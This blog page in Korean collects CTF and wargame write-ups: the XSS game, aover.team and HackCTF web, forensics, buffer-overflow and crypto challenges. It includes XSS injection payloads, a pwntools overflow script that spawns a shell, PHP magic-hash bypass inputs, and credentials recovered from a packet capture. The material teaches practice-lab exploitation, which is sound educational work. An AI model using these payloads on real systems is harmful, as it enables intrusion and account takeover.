반응형
반응형
반응형

can you see HTTP Response header?

 

 

 

 

크롬을 이용하면 된다.

 

 

f12 > Network > f5 > Response Headers

 

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
Wargame.kr [login filtering] 풀이  (0) 2019.08.22
Wargame.kr [flee button] 풀이  (0) 2019.08.21
반응형

Xss game 풀이

level1

level2

level3

level4

 

 

https://xss-game.appspot.com/

 

XSS game

Welcome, recruit! Cross-site scripting (XSS) bugs are one of the most common and dangerous types of vulnerabilities in Web applications. These nasty buggers can allow your enemies to steal or modify user data in your apps and you must learn to dispatch the

xss-game.appspot.com

 

 

level1 풀이

 

alert()을 띄워야 한다.

 

 

쿼리에 <<<>>> 등을 입력했을 때 입력한 그대로 출력한다.

 

그래서 입력칸에 <script>alert(1)</script> 을 입력해주면 페이지에 스크립트가 삽입되면서 문제가 풀린다.

 

 

 

 

level2 풀이

 

 

이번에는 그대로 <script>alert(1)</script> 을 입력했을 때, 페이지에 삽입은 그대로 되는데,

스크립트가 실행이 되지 않는다.

 

 

힌트:

 

1. Note that the "welcome" post contains HTML, which indicates that the template doesn't escape the contents of status messages.

2. Entering a <script> tag on this level will not work. Try an element with a JavaScript attribute instead.

3. This level is sponsored by the letters i, m and g and the attribute onerror.

 

img태그의 onerror속성을 이용해서 스크립트를 실행해야 하는 것 같다.

 

 

<img src="./mandu" onerror="alert(1)">

scr파일을 불러올 떄 해당 파일을 찾을 수 없게 해서 에러를 발생시키도록 한다.

 

 

 

level3 풀이

 

입력할 수 있는 칸은 url칸밖에 없는 것 같다.

 

페이지 소스를 확인했다.

1
2
3
4
5
function chooseTab(num) {
    // Dynamically load the appropriate image.
    var html = "Image " + parseInt(num) + "<br>";
    html += "<img src='/static/level3/cloud" + num + ".jpg' />";
    $('#tabContent').html(html);
cs

 

 

이 num에 들어가는 것을 적절히 입력해주면 될 것 같다.

0.jpg' onerror="alert(1)" '

 

직접 f12눌러서 입력값이 어떻게 들어갔는지 확인하면서 해보면 된다.

 

 

 

 

level4

 

힌트 :

1. Take a look at how the startTimer function is called.

 

함수가 어디서 호출되는지를 보았다.

 

1
2
3
4
5
6
7
<body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
  </body>
cs

 

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

t

{{timer}}에 입력한 값이 들어간다. 아래와 같이 되도록 하면 될 것 같다.

 

<img src="/static/loading.gif" onload="startTimer('1'); alert('1');" />

 

input = 1'); alert('1

 

 

 

level5

 

 

 

level6

 

반응형
반응형

아오바 워게임 디스코드

50

플래그는 디스코드 방 안의 가이드라인에 적혀있습니다.

 

 

그렇다. 디스코드 입장해서 flag채팅방 들어가면 플래그가 있다.

 

 

 

카토 목소리

50

[문제 설명] 카토 목소리 너무 귀엽다.
[출제자] 황수민(Xixon)

 

 

다 들으면 플래그를 준다고 한다. 그냥 다 들으면 된다.

 

 

 

XSS의 천적

50

xss의 천적인 나는 누구일까?

본 문제는 플래그 형식이 없습니다.
약자로 입력하신 경우, 대문자로 입력하셔야 합니다.

 

 

xss의 천적이라고 검색하니까 풀이가 먼저 뜨네...

 

CSP

 

 

 

No_Random_No_Life

75

[문제 설명] 확률!!!! 무조건 확률!!!
[출제자] 황수민

nc server2.aover.team 31340

 

 

 

 

 

시원찮은 수민이를 위한 육성방법!!

200

[문제 설명] 사에카노 문제!!!
[출제자] 황수민(Xixon)
[설명] 풀면 ㄴㄷ^^
1번 : OO OO
2번 OOOOO
3번 OOOOO

 

네다^^ 도저히 검색해서 풀 자신이 없다..

답봐야겠...

반응형
반응형

카토 이미지 보고싶다.

200

[문제 설명] 변태 C#
[출제자] 황수민(Xixon)

 

 

exe파일이 하나 주어진다.

Exeinfo PE로 분석해보면 .NET으로 작성된 프로그램임을 알 수 있다.

 

 

dotPeek로 열었다.

업로드 할 파일명이 kato_megumi 이어야 하는 것 같다.

 

 

빈파일 하나 만들어서 이름을 kato_megumi 으로 하고 업로드를 하니 플래그가 나왔다.

 

 

 

 

No_Reverse_No_Life

200

[문제 설명] 허허 풀어 보랑께 노겜노라 시리즈의 시작!!
[출제자] 황수민

 

 

?

반응형
반응형

Moving but not moved

75

[문제 설명] 움직이지 않는 오브젝트는?
[출제자] 정준영(Joon)

 

 

Hxd로 보면 맨 마지막 부분이 PNG의 푸터 시그니쳐다. 헤더 시그니쳐를 찾아서 추출해내면 flag가 나온다.

 

 

 

Archives

100

[문제 설명] 귀여운 아오바가 숨긴 비장의 플래그는 무엇일까?
[출제자] 정준영(Joon)

 

 

pptx파일 하나가 주어진다. 확장자명을 zip으로 바꿔서 ppt > media > image5.png을 열어보면 플래그가 나온다.

 

 

Inside the beat

100

[문제 설명] 비트를 타자
[출제자] 정준영(Joon)

 

 

osz파일이 주어진다. 근데 HxD로 열어보면 파일시그니쳐가 PK, 즉 ZIP파일과 구조가 같음을 알 수 있다.

그래서 zip으로 파일명을 바꿔주고 열어보면 된다.

 

 

그러면 mp3파일을 하나 찾을 수 있고, HxD로 열면 최하단에서 플래그를 찾을 수 있다. 근데 끊어져 있다.

 

그래서 해당 파일 헥스 처음부분을 확인하니 전체부분을 확인할 수 있었다.

 

 

 

Not compressed

100

[문제 설명] 어떻게 압축되었을까?
[출제자] 정준영(Joon)

 

 

 

Hxd로 보면 시그니쳐는 PK로 압축 파일인데 그 다음부분부터는 모두 PNG 부분같다.

 

그래서 헤더를 PNG헤더로 바꿔주었더니 flag을 얻을 수 있었다.

 

 

 

너의 비밀번호는

100

[문제 설명] 최고급 사전을 눈이 아닌 다른것으로 읽어보자.
[출제자] 정준영(Joon)

 

 

사전공격으로 패스워드를 찾아내면 된다.

 

 

 

Note graph

150

[문제 설명] 우리는 음표와 비슷한걸 읽어봐야합니다.
[출제자] 정준영(Joon)

 

 

sonic visualiser을 이용해서 Pane> add spectrugram

플래그!

 

 

 

CAN_YOU_FIND?

250

[문제 설명] 날 찾아줘
[출제자] 황수민

 

 

HxD로 열고 찾기 기능으로 A0V3R을 검색하니 플래그를 찾을 수 있었다.

 

 

 

Extend

300

[문제 설명] 뛰는놈위에 나는놈 있다.
[출제자] 정준영(Joon)

 

 

사진 열어보면 머리카락이라고 한다. 머리카락 = 높이

bmp구조를 봐서 높이 부분의 값을 조금씩 높이다 보면, 플래그가 보이기 시작한다.

 

 

 

카토의 눈은 정말 최고입니다

300

[문제 설명] 마음에 눈으로 보십시오.
[출제자] 황수민(Xixon)

 

 

mp3파일이 하나 주어진다. hxd로 열어서 플래그 찾으니 나온다. 왜????

 

 

 

LAST_SAEKANO

300

[문제 설명] kato_eyes_revenge
[출제자] 황수민

 

mp3파일인데 파일 썸네일을 보면 검을 글자같은게 보인다.

HXD로 열어서 jpg파일 추출해내면 플래그를 확인할 수 있다.

jpg 푸더 시그니쳐는 FF D9이다.

 

 

 

미술품 구매계획

400

[문제 설명] 고가의 미술품을 미리볼 수 있는 프리뷰이다. 한번 둘러보자.
[출제자] 정준영(Joon)

 

 

ppt파일이 주어지는데, 일단 zip으로 바꿔준다.

ppt\media\에 이미지 9개가 있다. 모두 openstego를 써준다.

 

image5.png에서 flag.png가 추출된다. 그런데 flag.png에 이미지가 표시되지 않는다.

hxd로 열어보면 시그니쳐가 png가 아닌 jpg로 되어있는 것을 확인할 수 있다.

시그니쳐를 png로 바꿔주고 다시 열어주면 플래그가 나온다.

Matryoshka Doll

500

[문제 설명] 옛날옛적에 러시아에 살던 어떤 사람이 마트료시카 인형에 중요한 깃발을 숨겨놓았다고 한다. 찾아보자.
[출제자] 정준영(Joon)

 

 

푸터부분을 보면 APNG assembler을 사용한 것을 알 수 있다.

그래서 APNG disassembler을 검색하니까 나오길레 설치해서 해봤다. 2개의 이미지가 나오게 되는데...

 

openstego를 사용하면 docx파일이 하나씩 나온다. (openstego 오랜만에 써본다.)

 

 

flags.docx에서 flag의 절반을 얻을 수 있다.

 

그리고 다시 zip으로 바꿔서 word\fonts.xml을 hxd로 열면 나머지 플래그가 있다.

 

 

정말 많을걸 해야하는 문제...

반응형
반응형

Hand of plus

100

[문제 설명] 귀여운 아오바가 Beatcoin을 채굴하려고 한다. 아오바의 그래픽 카드를 도와주자.
[출제자] 정준영(Joon)

 

 

extract($_COOKIE); 을 사용하고 있다.

구글 확장프로그램을 이용해서 각각 4개의 이름과 값으로 쿠키를 추가해주면 된다.

 

 

 

The great escape

100

[문제 설명] 요원들은 배급받은 키를 쳐야 지령을 받을 수 있다고 한다. 요원들이 받는 지령을 몰래 받아보자.
[출제자] 정준영(Joon)

 

 

1부터 1000까지 브포를 해봤다. 틀렸다. 흠....

 

이것저것 해봤는데 디렉토리 인덱싱이 가능했다.

 

패스워드 찾아서 입력해주면 플래그가 나온다.

 

 

 

핵발사 시스템

300

[문제 설명] 귀여운 아오바가 어딘가로 핵을 쏘고싶어한다. 도와주자.
[출제자] 정준영(Joon)

 

 

1
2
3
4
5
6
7
8
9
10
11
12
<?php
    if(isset($_POST["Key1"]) && isset($_POST["Key2"]) && isset($_POST["Key3"])){
        if(hash('md5',$_POST["Key1"]) == hash('crc32',$_POST["Key2"])){
            if(hash('crc32',$_POST["Key2"]) == hash("md4"$_POST["Key3"])){
                if(hash("md5"$_POST["Key1"]) == hash("md4"$_POST["Key3"])){
                    echo "<script>alert('[Suzukaze aoba says]\\nThanks a lot! I launched an nuclear to some space!\\n\\nHere\'s a little prize!\\n[FLAG HERE]');</script>"
                }elseecho "3"; Fail(); }
            }elseecho "2"; Fail(); }
        }else{echo "1";  Fail(); }
    }
    function Fail(){ echo "<script>alert('[Suzukaze aoba]\\nT.T... I want to fire nuclear...');</script>"; }
?>
cs

 

매직해시문제 https://www.whitehatsec.com/blog/magic-hashes/

 

md5(Key1) == crc32(Key2) == md4(key3)

 

Key1 = 240610708

Key2 = 2332

Key3 = 48291204

 

반응형
반응형

pcapng파일이 주어진다.

 

5758번 패킷을 보면 http://server2.aover.team/Network/Tanya_and_Hackers/login/index.php 에서 로그인을 하는데,

Soldier_name=Tanya degurechaff

pass=los!los!los!

를 사용한다.

 

 

그러나 그 다음 응답 패킷 5760번을 보면, Can't establish secret connection. 라며 로그인에 실패한다.

 

 

다시, 6806번 패킷에서 같은 id와 pw로 로그인을 시도한다.

 

 

로그인에 성공한다.

 

 

id와 pw가 동일한데, 왜 로그인에 성공했는지를 알아보니, 패킷의 크기가 실패한 패킷은 842, 성공한 패킷은 918로 차이가 났다. 어느 부분이 다른지 비교해보았다.

 

쿠키 부분이 달랐다.

SKey1=\343\202\277\343\203\274\343\203\213\343\203\243\203\273\343\203\207\343\202\260\343\203\254\343\203\201\343\203\243\343\203\225; SKey2=SupERsECReT_C0nn3ct1on__!^!

 

 

burpsuite으로 쿠키를 추가해서 로그인을 했다.

 

로그인 성공후 넘어가는 페이지에 플래그가 있다.

반응형
반응형

Basic_BOF #1

100

Basic BOF

nc ctf.j0n9hyun.xyz 3000

 

 

32bit ELF 파일이다.

 

IDA로 까보자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+4h] [bp-34h]@1
  int v5; // [sp+2Ch] [bp-Ch]@1
 
  v5 = 0x4030201;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n"&s);
  printf("[check] %p\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}
cs

 

v5을 0xDEADBEEF으로 덮으면 된다.

 

메모리 구조

s [bp-34h]

v5 [bp-Ch]

34h-Ch=28h=40d

 

s에 입력을 받고, s와 v5 사이의 간격은 40바이트다. 45바이트를 입력받으니 충분히 v5을 덮을 수 있다.

 

페이로드 : "A"*40+"\xef\xbe\xad\xde"

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3000)
 
payload = "A"*40+"\xef\xbe\xad\xde"
 
p.sendline(payload)
 
p.interactive()
 
cs

 

FLAG : HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}

 

반응형
반응형

Welcome_Forensics

50

 

이미지 우클릭하고 새 탭에서 보기를 하면 플래그를 확인할 수 있다.

 

 

 

Question?

100

 

압축을 풀면 나오는 파일 이름이 Do_you_know_HxD 이다.

HxD로 깠는데, 앞 뒤에 플래그가 없었다.

그래서 다른 삽질을 하려다가 Hack을 검색해보니 플래그가 숨어있었다.

 

flag : HackCTF{P1e45e_find_m3}

 

 

 

So easy?

100

 

문제파일 이미지를 보면, 러시아 전통 인형이다. 파일안에 파일이 숨어있다는 뜻.

일단 hxd로 까봤는데 뒤에 플래그가 있어서 당황스러웠으나... 가짜 플래그다.

so easy? 그건 fake야.

 

PK가 있으므로 zip파일이 있음을 알 수 있다. 직접 추출하기 귀찮아서 foremost 이용해서 추출했다.

zip파일 하나 안에 txt파일이 하나 있고, 거기에 플래그가 있다.

FLAG : HackCTF{M4try0shka_do11}

 

 

 

Secret Document

150

 

와 기밀문서!

플래그 파일은 암호가 걸려있다.

 

힌트파일을 보자.

hint1 : Brute-Force NOOOOOOOOOOOO!

hint2 : Do you think the password exists?

 

암호화는 fake라는 소리다. 실제로 암호는 안걸려있는데 걸려있는 것처럼 위장한 것이다. hxd를 이용해 해당 헤더를 조작해주면 된다.

 

다른 파일의 flag bit가 00 08 인데 flag.txt의 flag bit는 09 08이다. 09 08을 00 08로 바꿔주면 flag.txt가 열린다.

 

 

 

세상에서 잊혀진 날 찾아줘!

150

 

flag == Ctrl+a & Ctrl+c & Ctrl+v

pdf열고 위 동작을 해보면 이미지 위에 안보이는 텍스트들이 있음을 알 수 있다.

 

 

 

나는 해귀다

150

 

이미지 보면 hex값을 뒤집어 놓았다고 했다.

정말이다.

다시 뒤집자.

 

< waytogo.png xxd -p -c1 | tac | xxd -p -r > file.png

 

이미지에 나와있는 플래그도 뒤집혀 있다.

 

 

Magic PNG

150

 

일단 png 파일임을 인식을 못한다. 왜 그런가 알기위해 hxd로 까보았다.

 

파일 시그니처가 맞지 않다.

PNG 시그니처는  89 50 4E 47 0D 0A 1A 0A 이다. 맞게 수정해주자.

 

수정하고 나면, 이미지가 위에서 나오다가 잘려버린다.

 

원인은 TweakPNG에서 찾을 수 있었다.

청크 중간에 IDAT이 아닌 idat이 있다.

HxD를 이용해서 idat부분을 IDAT으로 수정해주면 완벽한 이미지와 함께 플래그가 나오게 된다.

 

 

Terrorist

200

당신은 현장을 수사하여 범행과 관련된 단서를 찾았다!
단서를 분석하여 다음 범행장소를 알아내야한다.
플래그 포맷은 HackCTF{범행장소}로 적어야 한다.

 

파일이 하나 주어지는데 mp4 파일이다.

재생시켜보면 역재생된 말소리가 들린다.

동영상편집프로그램 같은거 사용해서 다시 역재생하면 된다.

 

잔상

250

 

용량이 같은 파일 2개가 주어진다.

 

oct to ascii

 

 

Let'S get it ! Boo*4

350

 

0xCDA90xBD840xD7880d.8AC000H.8CE580xC7880xB2940xC8740xC7AC0v.8C57C

아 앞에 B10C 빼먹었넹

 

끝.

반응형

'WAR GAME > HackCTF' 카테고리의 다른 글

HackCTF Reversing 카테고리 풀이  (0) 2019.08.29
HackCTF Pwnable [Basic_BOF #1] 풀이  (0) 2019.07.24
HackCTF Cryptography 카테고리 풀이  (2) 2019.07.18
HackCTF MISC 카테고리 풀이  (0) 2019.07.18
HackCTF Web 카테고리 풀이  (0) 2019.07.18
반응형

Great Binary 50

주어진 파일을 열어보면 바이너리가 적혀있다.

아래 사이트를 이용해 아스키로 변환하면 끝.

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

HackCTF{crypto_v2ry_easy_pr0b1em}

 

 

Smooth CipherText 100

Rijvsmysmysmy Itovwyrc! Ns wyy ixsu Glm kq G? wc lkqc sw qwsmdlkkr sr...M ixsu fipi acvp urer iss geld! Md iss mel niastfov rrmq mvwzxmqvyw, cme gyx kcd xfo gmbvcmx yxwuov. qy, jjkk gc LymoADJ{t_tzwi_3vxbd0p3_vff.afy'q_wzoxpq_dp_qfz}

 

LymoADJ == HackCTF

m과 a가 C에 중복으로 대응되는 것으로 보아, 카이사르는 아니다. 그래서 비제네르로 돌려봤다.

본문 key = key

플래그 key = n

 

 

Classic Cipher -1 100

Hint : [::-1]

?y4zl4J_d0ur_b0f_0K zp nhsm

 

[::-1] 은 reverse. 즉 글자 순서를 뒤바꿔주면 된다.

그 다음에 카이사르를 돌리니 플래그가 나왔다.

 

HackCTF{D0_y0u_kn0w_C4es4r?}

 

 

RSA

200

RSA 알고리즘을 이용하여 값을 해독해보자! 
파일에 나와있는 c, p, q, e 는 RSA 대한 파라미터 값이다. 

 

p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483

q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407

e = 65537

c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

 

https://mandu-mandu.tistory.com/110 이 글에 나온 방법대로 따라하면 된다.

그러면 값이 12058e43d9e0c22559c19774 가 나오는데, 이를 10진수로 변환해서 플래그 인증하면 된다.

 

Classic Cipher -3

200

 

 

RSA2

200

(n, c) = 675517326695494061190287679557796696358902817969424171685361, 0xe3712876ea77c308083ef596a32c5ce2d7edf22abbc58657e

 

 

n 을 소인수분해 하여 p와 q를 구한다.

https://www.alpertron.com.ar/ECM.HTM

 

 

 

e를 65537 기본으로 잡고 복호화.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def egcd(a, b):
    x,y, u,v = 0,11,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y
 
def main():
 
    p = 804811499343607200702893651293
    q = 839348502408870119614692320677
    e = 65537
    ct = 0xe3712876ea77c308083ef596a32c5ce2d7edf22abbc58657e
 
    # compute n
    n = p * q
 
    # Compute phi(n)
    phi = (p - 1* (q - 1)
 
    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a
 
    print"d:  " + str(d) );
 
    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print"pt: " + str(pt) )
 
if __name__ == "__main__":
    main()
 
cs

 

pt = plain text

평문값을 hex로 변환한 뒤에 ascii로 바꾸면 flag가 나온다.

 

 

 

 

 

RSA3

250

n = 10283681839193276126097189449431804469761940095295471888398234447479454966284763902940257262270896218602885591849219329295416054197234326881779747263501982465102957508563705432633950651360492963151374387619070656704554971992649022858286686244477458518219811343940208016922937570643216329114427596008380607613093481777894261584227765149699743645734317383348201997748556656749211035951710759363655486663011079526697122026161182876988679088458171192764980121987583057238040415225285169219391637708267493561674900564748140379192079752942242600521017002960185256025253900075152690586476143729320416895984549165574371936823

c = 0x5c93ba85692a8b3981a5d47be0e80d129b8a2f6cf4dc134547aa7e1620f6691513b1dc1d69e085c39e261c2b49026436bb243dba70a86f7fcd1a3a7e6b0f0ecfac015becad0a76e9cf208d5d31e2b4865

e = 3

 

 

n은 매우 크고 e는 매우 작다.

 

c = m^e mod n = m^e

 

HelloCryto

350

key 길이는 14

flag 앞에는 HackCTF{ 인 것을 알고 있으니 key 14자리중 8자리 알아낼 수 있고

메세지 뒤에 key값이 붙은 것이 다시 key 앞에 8자리랑 연산을 하니 key 뒷자리도 알아낼 수 있음.

 

 

 

XOR

400

 

 

역연산돌리자

 

반응형

'WAR GAME > HackCTF' 카테고리의 다른 글

HackCTF Reversing 카테고리 풀이  (0) 2019.08.29
HackCTF Pwnable [Basic_BOF #1] 풀이  (0) 2019.07.24
HackCTF Forensics 카테고리 풀이  (0) 2019.07.20
HackCTF MISC 카테고리 풀이  (0) 2019.07.18
HackCTF Web 카테고리 풀이  (0) 2019.07.18

+ Recent posts